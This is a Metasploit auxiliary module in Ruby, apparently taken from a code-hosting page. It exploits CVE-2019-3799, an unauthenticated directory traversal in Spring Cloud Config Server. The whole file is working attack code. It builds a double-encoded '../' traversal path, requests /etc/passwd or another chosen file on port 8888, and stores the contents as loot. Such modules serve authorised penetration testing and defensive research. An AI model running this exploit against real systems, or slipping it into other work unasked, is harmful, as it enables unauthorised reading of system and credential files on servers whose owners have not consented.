72 lines
1.9 KiB
Ruby
72 lines
1.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Spring Cloud Config Server Directory Traversal',
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'Description' => %q{
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This module exploits an unauthenticated directory traversal vulnerability
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which exists in Spring Cloud Config versions 2.1.x prior to 2.1.2,
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versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6. Spring
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Cloud Config listens by default on port 8888.
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},
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'References' =>
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[
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['CVE', '2019-3799'],
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['URL', 'https://pivotal.io/security/cve-2019-3799']
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],
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'Author' =>
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[
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'Vern', # Vulnerability discovery
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'Dhiraj Mishra' # Metasploit module
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],
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'DisclosureDate' => '2019-04-17',
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'License' => MSF_LICENSE
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))
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register_options(
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[
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Opt::RPORT(8888),
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OptString.new('FILEPATH', [true, "The path to the file to read", '/etc/passwd']),
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OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ])
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])
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end
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def data
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Rex::Text.rand_text_alpha(3..8)
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end
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def run_host(ip)
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filename = datastore['FILEPATH']
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traversal = "#{"..%252F" * datastore['DEPTH']}#{filename}"
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uri = "/#{data}/#{data}/master/#{traversal}"
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res = send_request_raw({
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'method' => 'GET',
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'uri' => uri
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})
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unless res && res.code == 200
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print_error('Nothing was downloaded')
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return
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end
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vprint_good("#{peer} - #{res.body}")
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path = store_loot(
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'springcloud.traversal',
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'text/plain',
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ip,
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res.body,
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filename
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)
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print_good("File saved in: #{path}")
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end
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end
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